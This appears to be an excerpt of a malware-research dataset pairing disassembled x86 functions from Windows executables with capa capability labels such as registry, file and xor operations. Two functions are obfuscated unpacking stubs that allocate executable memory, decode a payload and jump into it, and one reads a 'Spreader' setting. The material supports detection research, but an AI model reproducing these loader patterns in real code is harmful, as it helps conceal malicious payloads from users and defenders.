joyce8/EMBER2024-capa huggingface dataset:
Function at 0x78b00307
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
jne 0x78b0032f
call sym.MSVCR100.dll___doserrno
and dword [eax], 0
call sym.MSVCR100.dll__errno
mov dword [eax], 0x16
call sym.MSVCR100.dll__invalid_parameter_noinfo
or eax, 0xffffffff
pop ebp
ret
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x78b0034c
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call sym.MSVCR100.dll__searchenv_s
pop ecx
jmp 0x78b0032a
test byte [ebp + 0xc], 0x80
je 0x78b00357
and eax, 0xfffffffe
jmp 0x78b0035a
or eax, 1
push eax
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
test eax, eax
je 0x78b0033d
xor eax, eax
pop ebp
ret

Function at 0x78b2c16f
Capabilities:
Terminate process

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x78b58650], eax
mov dword [0x78b5864c], ecx
mov dword [0x78b58648], edx
mov dword [0x78b58644], ebx
mov dword [0x78b58640], esi
mov dword [0x78b5863c], edi
mov word [0x78b58668], ss
mov word [0x78b5865c], cs
mov word [0x78b58638], ds
mov word [0x78b58634], es
mov word [0x78b58630], fs
mov word [0x78b5862c], gs
pushfd
pop dword [0x78b58660]
mov eax, dword [ebp]
mov dword [0x78b58654], eax
mov eax, dword [ebp + 4]
mov dword [0x78b58658], eax
lea eax, [ebp + 8]
mov dword [0x78b58664], eax
mov eax, dword [ebp - 0x320]
mov dword [0x78b585a0], 0x10001
mov eax, dword [0x78b58658]
mov dword [0x78b58554], eax
mov dword [0x78b58548], 0xc0000409
mov dword [0x78b5854c], 1
mov eax, dword [0x78b54610]
mov dword [ebp - 0x328], eax
mov eax, dword [0x78b553f8]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x78b58598], eax
push 1
call sym.MSVCR100.dll__crt_debugger_hook
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x78b2c270
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x78b58598], 0
jne 0x78b2c25b
push 1
call sym.MSVCR100.dll__crt_debugger_hook
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret

Function at 0x78b2d35c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x78b2d36b
pop dword [ebp - 0x28]
mov eax, 0x7ae9a1d1
sub eax, 0x236ce66
sub dword [ebp - 0x28], eax
push 0x40
push 0x1000
push 0x57d66
push 0
mov eax, 0x7783d266
sub eax, 0xfed9c0de
add eax, dword [ebp - 0x28]
call dword [eax]
mov ecx, 0x59fa
xor edi, edi
add edi, eax
mov ebx, 0x7872a44d
add ebx, 0x4349b3
add ebx, dword [ebp - 0x28]
mov esi, 0x9d8de374
sub esi, 0x61cf71d3
mov edx, dword [ebx]
add dword [ebp - 0x10], 0x16362bf8
sub edx, esi
mov dword [ebp - 4], 0x176dfa58
mov dword [edi], edx
xor dword [ebp - 0x18], 0x331582af
add edi, 0xf13bb995
add edi, 0xec4466f
add ebx, 0xef00cf5a
add ebx, 0x10ff30aa
loop 0x78b2d3c6
add eax, 0x84227219
add eax, 0x7bdee8a2
mov ebx, eax
add eax, 0xbe4849f6
sub eax, 0xbe4849f1
mov ecx, 0xecd55626
add ecx, 0x8bd4a9da
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x406222
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push esi
mov esi, 0x104
lea eax, [ebp - 0x120]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, esi
pop esi
jbe 0x406246
xor eax, eax
test eax, eax
je 0x406258
cmp byte [ebp + eax - 0x121], 0x5c
je 0x406258
xor ecx, ecx
jmp 0x40625b
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx + 0x409014]
lea eax, [ebp + eax - 0x120]
push ecx
push str._s_s.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x120]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
leave
ret 4

Function at 0x406305
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4222c4], 0
push esi
jne 0x40633c
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406316
mov dword [ecx*4 + 0x4222c0], eax
inc ecx
cmp ecx, 0x100
jl 0x406311
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x40636d
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4222c0]
xor eax, esi
inc ecx
dec edx
jne 0x40634f
pop edi
not eax
pop esi
ret 0xc

Function at 0x29a0f42d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x29a0f43c
pop dword [ebp - 0x2c]
mov eax, 0xb87a4b8a
sub eax, 0x8ed9574e
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0xd10530bf
add dword [ebp - 0x3c], 0x7d4d148c
mov dword [ebp - 0x38], 0x85a5fa47
sub dword [ebp - 0x38], 0x5372ae02
mov dword [ebp - 0x34], 0x98410864
sub dword [ebp - 0x34], 0x4bf4c436
mov dword [ebp - 0x30], 0xd1568ad3
add dword [ebp - 0x30], 0x2ea9752d
lea eax, [ebp - 0x3c]
push eax
mov eax, 0x41b1e623
sub eax, 0x1810a597
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x6876824d
sub dword [ebp - 0x3c], 0xf40418f7
mov dword [ebp - 0x38], 0x24c8d67b
sub dword [ebp - 0x38], 0xe35c7506
mov dword [ebp - 0x34], 0x200d85fa
add dword [ebp - 0x34], 0x4361e672
mov dword [ebp - 0x30], 0xb331253a
sub dword [ebp - 0x30], 0xb331253a
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x37deb
push 0
call eax
mov ecx, 0xc246ec8c
sub ecx, 0xc246ae82
xor esi, esi
add esi, eax
mov edi, 0x9715b248
add edi, 0x928c6db8
add edi, dword [ebp - 0x2c]
mov ebx, 0x5c0d6526
add ebx, 0x7d8d1d4e
sub dword [ebp - 0xc], 0x9c98a225
mov edx, dword [edi]
xor dword [ebp - 0x10], ebx
sub edx, ebx
xor dword [ebp - 8], ecx
mov dword [esi], edx
mov dword [ebp - 0x14], 0x5d8c438e
add esi, 0x208cae6f
sub esi, 0x208cae6b
add edi, 0x3ab7936f
add edi, 0xc5486c95
loop 0x29a0f55b
add eax, 0x123df29
add eax, 0xfedd0bd2
mov ebx, eax
add eax, 5
mov ecx, 0x51009750
add ecx, 0xd89f68b0
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x4024a7
Capabilities:
Check if file exists
Get common file path
Get program files directory
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
lea ebp, [esp - 0x7b4]
sub esp, 0x834
mov eax, dword [0x4d44e4]
xor eax, ebp
mov dword [ebp + 0x7b0], eax
push ebx
push esi
push edi
mov edi, 0x206
xor ebx, ebx
push edi
lea eax, [ebp + 0x3a2]
push ebx
push eax
mov dword [ebp - 0x74], ecx
mov word [ebp + 0x3a0], bx
call fcn.0044e570
push edi
lea eax, [ebp - 0x6e]
push ebx
push eax
mov word [ebp - 0x70], bx
call fcn.0044e570
push edi
lea eax, [ebp + 0x5aa]
push ebx
push eax
mov word [ebp + 0x5a8], bx
call fcn.0044e570
mov esi, 0x49da84
lea eax, [ebp - 0x70]
push esi
push eax
mov dword [ebp - 0x7c], ebx
call fcn.0044e30c
lea eax, [ebp - 0x70]
push eax
call fcn.0044e4fd
add esp, 0x30
push ebx
push 0x2b
lea eax, [ebp + 0x3a0]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov ebx, 0x49da80
lea eax, [ebp + 0x3a0]
push ebx
push eax
call fcn.0044e2e2
lea eax, [ebp + 0x3a0]
push esi
push eax
call fcn.0044e2e2
lea eax, [ebp + 0x3a0]
push ebx
push eax
call fcn.0044e2e2
lea eax, [ebp + 0x3a0]
push esi
push eax
call fcn.0044e2e2
lea eax, [ebp + 0x3a0]
push str..ini
push eax
call fcn.0044e2e2
add esp, 0x28
lea eax, [ebp + 0x3a0]
push eax
push 0x104
lea eax, [ebp + 0x5a8]
push eax
push 0x49da34
push str.InstallPath
push str.Globals
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea eax, [ebp + 0x5a8]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4025d4
mov ecx, dword [ebp - 0x74]
lea eax, [ebp + 0x5a8]
push eax
add ecx, 0x1c
call fcn.004023ba
jmp 0x4026c9
and word [ebp + 0x198], 0
push edi
lea eax, [ebp + 0x19a]
push 0
push eax
call fcn.0044e570
lea eax, [ebp + 0x198]
push str.SOFTWARE_
push eax
call fcn.0044e30c
lea eax, [ebp + 0x198]
push esi
push eax
call fcn.0044e2e2
add esp, 0x1c
lea eax, [ebp - 0x78]
push eax
push 0x20019
xor edi, edi
push edi
lea eax, [ebp + 0x198]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40267e
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp + 0x5a8]
push eax
push edi
push edi
push str.InstallPath
push dword [ebp - 0x78]
mov dword [ebp - 0x80], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40267e
lea eax, [ebp + 0x5a8]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40267e
mov ecx, dword [ebp - 0x74]
lea eax, [ebp + 0x5a8]
push eax
add ecx, 0x1c
mov dword [ebp - 0x7c], 1
call fcn.004023ba
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x7c], edi
jne 0x4026c9
push edi
push 0x26
lea eax, [ebp + 0x5a8]
push eax
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov edi, dword [ebp - 0x74]
lea eax, [ebp + 0x5a8]
add edi, 0x1c
push eax
mov ecx, edi
call fcn.004023ba
push ebx
mov ecx, edi
call fcn.0040239d
push esi
mov ecx, edi
call fcn.0040239d
push ebx
mov ecx, edi
call fcn.0040239d
mov ecx, dword [ebp + 0x7b0]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0044df8c
add ebp, 0x7b4
leave
ret
Function at 0x4026e1
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
sub esp, 0x410
lea ebp, [esp - 4]
mov eax, dword [0x4d44e4]
xor eax, ebp
mov dword [ebp + 0x410], eax
push 0x8c
mov eax, 0x4998e7
call fcn.0044df9b
mov esi, dword [ebp + 0x41c]
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x98]
call fcn.0046b6f0
push 0x49dac8
push str.CONFIGURE
xor ebx, ebx
push esi
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
cmp edi, ebx
jne 0x40276e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x98]
call fcn.00401dfb
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x410]
xor ecx, ebp
call fcn.0044df8c
add ebp, 0x414
leave
ret 4
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push edi
push esi
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
lea edi, [esi + 1]
push edi
call fcn.0044d4ff
push edi
push ebx
push eax
mov dword [ebp - 0x14], eax
call fcn.0044e570
push esi
push dword [ebp - 0x10]
push dword [ebp - 0x14]
call fcn.0044e5f0
add esp, 0x1c
push ebx
push ebx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x98]
call fcn.0046d9d0
push str.TheConfigure
lea ecx, [ebp - 0x98]
call fcn.0046acb0
mov edi, eax
cmp edi, ebx
jne 0x4027e1
push dword [ebp - 0x14]
call fcn.0044e2c7
pop ecx
jmp 0x402738
mov esi, 0x206
push esi
lea eax, [ebp + 0x20a]
push ebx
push eax
mov word [ebp + 0x208], bx
call fcn.0044e570
push esi
lea eax, [ebp + 2]
push ebx
push eax
mov word [ebp], bx
call fcn.0044e570
add esp, 0x18
push str.Application
mov ecx, edi
call fcn.0046ad80
cmp eax, ebx
jne 0x402833
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x98]
call fcn.00401dfb
mov eax, ebx
jmp 0x402749
mov ecx, eax
call fcn.0046ad50
jmp 0x4028d4
mov edi, dword [esi + 0x20]
mov ecx, dword [esi + 0x18]
add edi, 8
cmp ecx, ebx
je 0x402855
mov eax, dword [ecx]
call dword [eax + 0x30]
cmp eax, ebx
jne 0x40285a
mov dword [ebp - 0x10], ebx
jmp 0x402863
mov eax, dword [eax + 0x20]
add eax, 8
mov dword [ebp - 0x10], eax
lea eax, [ebp + 0x208]
push eax
push edi
call fcn.0040f3e2
lea eax, [ebp]
push eax
push dword [ebp - 0x10]
call fcn.0040f3e2
add esp, 0x10
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x50]
call fcn.00402423
lea eax, [ebp + 0x208]
push eax
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 1
call fcn.00402423
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x70]
mov eax, dword [ecx]
lea edx, [ebp - 0x50]
push edx
lea edx, [ebp - 0x34]
push edx
mov byte [ebp - 4], 2
call dword [eax]
push ebx
push 1
lea ecx, [ebp - 0x34]
call fcn.00401eb7
push ebx
push 1
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], bl
call fcn.00401eb7
mov ecx, esi
call fcn.0046adc0
mov esi, eax
cmp esi, ebx
jne 0x40283f
push dword [ebp - 0x14]
call fcn.0044e2c7
xor ebx, ebx
pop ecx
inc ebx
jmp 0x40281d
Function at 0x4028ef
Capabilities:
Check if file exists
Enumerate files on windows

Disassembly:
push ebp
lea ebp, [esp - 0x7f8]
sub esp, 0x878
mov eax, dword [0x4d44e4]
xor eax, ebp
mov dword [ebp + 0x7f4], eax
push ebx
mov ebx, dword [ebp + 0x800]
push esi
push edi
mov esi, 0x206
xor edi, edi
push esi
lea eax, [ebp + 0x1de]
push edi
push eax
mov dword [ebp - 0x7c], ecx
mov word [ebp + 0x1dc], di
call fcn.0044e570
push esi
lea eax, [ebp + 0x3e6]
push edi
push eax
mov word [ebp + 0x3e4], di
call fcn.0044e570
lea eax, [ebp + 0x3e4]
push str.WnPicInfo.ini
push eax
call fcn.0044e30c
push ebx
lea eax, [ebp + 0x1dc]
push str._s.
push eax
call fcn.0044e757
add esp, 0x2c
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp + 0x1dc]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x78], edi
je 0x402a8c
lea eax, [ebp - 0x74]
push eax
push dword [ebp - 0x80]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x402a8c
cmp word [ebp - 0x48], 0x2e
je 0x40298d
cmp word [ebp - 0x46], di
je 0x40298d
cmp word [ebp - 0x46], 0x2e
jne 0x4029bc
cmp word [ebp - 0x44], di
je 0x40298d
test byte [ebp - 0x74], 0x10
je 0x402a08
push esi
lea eax, [ebp + 0x5ee]
push edi
push eax
mov word [ebp + 0x5ec], di
call fcn.0044e570
lea eax, [ebp + 0x3e4]
push eax
lea eax, [ebp - 0x48]
push eax
push ebx
lea eax, [ebp + 0x5ec]
push 0x49dadc
push eax
call fcn.0044e757
add esp, 0x20
lea eax, [ebp + 0x5ec]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x402a73
lea eax, [ebp + 0x3e4]
push eax
call fcn.0044e4fd
pop ecx
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.0044e4fd
pop ecx
push eax
call fcn.0044e725
test eax, eax
pop ecx
pop ecx
jne 0x40298d
push esi
lea eax, [ebp + 0x5ee]
push edi
push eax
mov word [ebp + 0x5ec], di
call fcn.0044e570
lea eax, [ebp - 0x48]
push eax
push ebx
lea eax, [ebp + 0x5ec]
push 0x49dad0
push eax
call fcn.0044e757
add esp, 0x1c
lea eax, [ebp + 0x5ec]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40298d
mov ecx, dword [ebp - 0x7c]
lea eax, [ebp + 0x5ec]
push eax
add ecx, 0x54
mov dword [ebp - 0x78], 1
call fcn.004023ba
push dword [ebp - 0x80]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x7f4]
mov eax, dword [ebp - 0x78]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0044df8c
add ebp, 0x7f8
leave
ret 4
Function at 0x402b07
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x4d44e4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x34], 8
jb 0x402b28
mov eax, dword [esi + 0x20]
jmp 0x402b2b
lea eax, [esi + 0x20]
push eax
call fcn.004028ef
test eax, eax
je 0x402b92
and word [ebp - 0x20c], 0
push 0x206
lea eax, [ebp - 0x20a]
push 0
push eax
call fcn.0044e570
add esp, 0xc
cmp dword [esi + 0x6c], 8
jb 0x402b5e
mov eax, dword [esi + 0x58]
jmp 0x402b61
lea eax, [esi + 0x58]
push eax
push 0x104
lea eax, [ebp - 0x20c]
push eax
push 0x49da34
push str.Spreader
push str.AppInfo
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea eax, [ebp - 0x20c]
push eax
lea ecx, [esi + 0x38]
call fcn.004023ba
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0044df8c
leave
ret

Function at 0x404af8
Capabilities:
Create thread

Disassembly:
mov eax, dword [ecx + 0x300]
cmp eax, 0xffffffff
je 0x404b0c
cmp eax, 1
je 0x404b0c
or eax, 0xffffffff
ret
xor eax, eax
push eax
push eax
push ecx
push 0x40487b
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
ret

Function at 0x404cf2
Capabilities:
Create directory

Disassembly:
push ebp
sub esp, 0x450
lea ebp, [esp - 4]
mov eax, dword [0x4d44e4]
xor eax, ebp
mov dword [ebp + 0x450], eax
push 8
mov eax, 0x499a6e
call fcn.0044df9b
mov edi, dword [ebp + 0x45c]
xor ebx, ebx
cmp edi, ebx
jne 0x404d49
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x450]
xor ecx, ebp
call fcn.0044df8c
add ebp, 0x454
leave
ret 4
mov esi, 0xff
push esi
lea eax, [ebp + 0x351]
push ebx
push eax
mov byte [ebp + 0x350], bl
call fcn.0044e570
lea eax, [ebp + 0x350]
push edi
push eax
call fcn.0044e920
push edi
mov dword [ebp - 0x14], ebx
call fcn.0044d6e0
add esp, 0x18
push 0x4d73ec
lea ecx, [ebp - 0x10]
mov edi, eax
call fcn.00404b28
push esi
lea eax, [ebp + 0x251]
push ebx
push eax
mov dword [ebp - 4], ebx
mov byte [ebp + 0x250], bl
call fcn.0044e570
lea eax, [ebp + edi + 0x350]
add esp, 0xc
cmp byte [eax - 1], 0x5c
je 0x404db4
mov byte [eax], 0x5c
cmp byte [ebp + 0x350], bl
je 0x404e2c
mov esi, dword [ebp - 0x14]
mov al, byte [ebp + esi + 0x350]
cmp al, 0x3a
jne 0x404dce
inc esi
inc esi
jmp 0x404e20
cmp al, 0x5c
jne 0x404e1f
push esi
lea eax, [ebp + 0x350]
push eax
lea eax, [ebp + 0x250]
push eax
call fcn.0044edc0
add esp, 0xc
lea eax, [ebp + 0x250]
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp + esi + 0x250], bl
call fcn.00404ca8
lea eax, [ebp]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
jne 0x404e1f
push ebx
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x404e2f
inc esi
cmp byte [ebp + esi + 0x350], bl
mov dword [ebp - 0x14], esi
jne 0x404dbc
xor ebx, ebx
inc ebx
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.00404510
mov eax, ebx
jmp 0x404d24
Function at 0x409e88
Capabilities:
Set registry value

Disassembly:
push 4
lea eax, [esp + 0xc]
push eax
push 4
push 0
push dword [esp + 0x14]
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
ret 8

Function at 0x409ede
Capabilities:
Set registry value

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x10]
test esi, esi
mov ebx, ecx
jne 0x409ef4
push 0x80004005
call fcn.004044f8
push edi
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
lea ecx, [eax + eax]
add esi, ecx
add edi, ecx
cmp eax, 1
jne 0x409ef7
push edi
push dword [esp + 0x18]
push 7
push 0
push dword [esp + 0x20]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop edi
pop esi
pop ebx
ret 8

Function at 0x40a45e
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0x198]
sub esp, 0x218
mov eax, dword [0x4d44e4]
xor eax, ebp
mov dword [ebp + 0x194], eax
mov eax, dword [ebp + 0x1a0]
push ebx
push esi
push edi
push 0x2001f
mov ebx, ecx
push eax
push dword [ebx]
xor esi, esi
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x70], esi
call fcn.00409e53
mov edi, eax
cmp edi, esi
je 0x40a4c6
lea ecx, [ebp - 0x70]
call fcn.00409dee
mov eax, edi
mov ecx, dword [ebp + 0x194]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0044df8c
add ebp, 0x198
leave
ret 4
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
jmp 0x40a4de
lea eax, [ebp - 0x6c]
push eax
lea ecx, [ebp - 0x70]
call fcn.0040a45e
cmp eax, esi
jne 0x40a511
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x6c]
push eax
push esi
push dword [ebp - 0x70]
mov dword [ebp - 0x74], 0x100
call edi
test eax, eax
je 0x40a4ce
lea ecx, [ebp - 0x70]
call fcn.00409dee
push dword [ebp - 0x78]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
lea ecx, [ebp - 0x70]
mov esi, eax
call fcn.00409dee
mov eax, esi
jmp 0x40a4ac
Function at 0x40c888
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x4d44e4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor edi, edi
push 0x206
lea eax, [ebp - 0x20a]
push edi
push eax
mov esi, ecx
mov word [ebp - 0x20c], di
call fcn.0044e570
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x20c]
push eax
lea ecx, [esi + 0x14]
call fcn.004023ba
mov ecx, esi
call fcn.0040c849
test eax, eax
push edi
push edi
jne 0x40c8ff
push 0x466
call fcn.00407317
mov ecx, eax
call dword [0x4b2464]
jmp 0x40c918
push 0x467
call fcn.00407317
mov ecx, eax
call dword [0x4b2464]
mov dword [esi + 8], 1
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0044df8c
leave
ret

Function at 0x40c935
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
lea eax, [esi + 0x10]
push eax
xor eax, eax
push eax
push esi
push 0x40c926
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0xc], eax
pop esi
ret

Function at 0x40c999
Capabilities:
Check if file exists

Disassembly:
push ebp
sub esp, 0x240
lea ebp, [esp - 4]
mov eax, dword [0x4d44e4]
xor eax, ebp
mov dword [ebp + 0x240], eax
push 0x1c
mov eax, 0x49a2bc
call fcn.0044df9b
push 0x104
lea eax, [ebp + 0x38]
push eax
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp + 0x38]
push 0x5c
push eax
call fcn.0044f125
pop ecx
pop ecx
mov esi, 0x49da34
push esi
lea ecx, [ebp]
mov word [eax + 2], di
call fcn.00402423
push esi
lea ecx, [ebp + 0x1c]
mov dword [ebp - 4], edi
call fcn.00402423
xor ebx, ebx
lea eax, [ebp + 0x38]
inc ebx
push eax
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], bl
call fcn.00402423
push 0xffffffffffffffff
push edi
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp]
mov byte [ebp - 4], 2
call fcn.004021f7
push str.WnPicUtility.exe
lea ecx, [ebp]
call fcn.0040239d
cmp dword [ebp + 0x18], 8
mov eax, dword [ebp + 4]
jae 0x40ca38
lea eax, [ebp + 4]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40ca96
push 0x49f36c
lea ecx, [ebp + 0x1c]
call fcn.0040239d
push 0xffffffffffffffff
push edi
lea eax, [ebp]
push eax
lea ecx, [ebp + 0x1c]
call fcn.0040210d
cmp dword [ebp + 0x250], edi
lea ecx, [ebp + 0x1c]
je 0x40ca71
push str.__UninstOperate_1
jmp 0x40ca76
push str.__UninstOperate_0
call fcn.0040239d
cmp dword [ebp + 0x34], 8
mov eax, dword [ebp + 0x20]
jae 0x40ca87
lea eax, [ebp + 0x20]
push 0x7d0
push ebx
push eax
call fcn.0040f448
add esp, 0xc
push edi
push ebx
lea ecx, [ebp - 0x28]
call fcn.00401eb7
push edi
push ebx
lea ecx, [ebp + 0x1c]
call fcn.00401eb7
push edi
push ebx
lea ecx, [ebp]
call fcn.00401eb7
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x240]
xor ecx, ebp
call fcn.0044df8c
add ebp, 0x244
leave
ret 8
Function at 0x40d004
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
lea ebp, [esp - 0x5c0]
sub esp, 0x640
mov eax, dword [0x4d44e4]
xor eax, ebp
mov dword [ebp + 0x5bc], eax
mov eax, dword [ebp + 0x5c8]
push ebx
mov dword [ebp - 0x78], eax
push esi
push edi
xor eax, eax
xor ebx, ebx
mov word [ebp + 0x5a8], bx
lea edi, [ebp + 0x5aa]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, 0x206
push edi
lea eax, [ebp + 0x3a2]
push ebx
push eax
mov word [ebp + 0x3a0], bx
call fcn.0044e570
add esp, 0xc
mov esi, 0x104
push esi
lea eax, [ebp + 0x3a0]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x49f6f4
call fcn.0044e2cc
push eax
lea eax, [ebp + 0x3a0]
push eax
lea eax, [ebp + 0x5a8]
push eax
call fcn.004502a6
push edi
lea eax, [ebp + 0x19a]
push ebx
push eax
mov word [ebp + 0x198], bx
call fcn.0044e570
push edi
lea eax, [ebp - 0x6e]
push ebx
push eax
mov word [ebp - 0x70], bx
call fcn.0044e570
add esp, 0x28
push esi
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x74]
push eax
push esi
lea eax, [ebp + 0x198]
push eax
lea eax, [ebp + 0x5a8]
push eax
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x80], ebx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
pop edi
pop esi
pop ebx
je 0x40d102
push dword [ebp - 0x74]
push str._08X
push dword [ebp - 0x78]
call fcn.0044e757
add esp, 0xc
jmp 0x40d111
push 0x49da34
push dword [ebp - 0x78]
call fcn.0044e30c
pop ecx
pop ecx
mov ecx, dword [ebp + 0x5bc]
xor ecx, ebp
call fcn.0044df8c
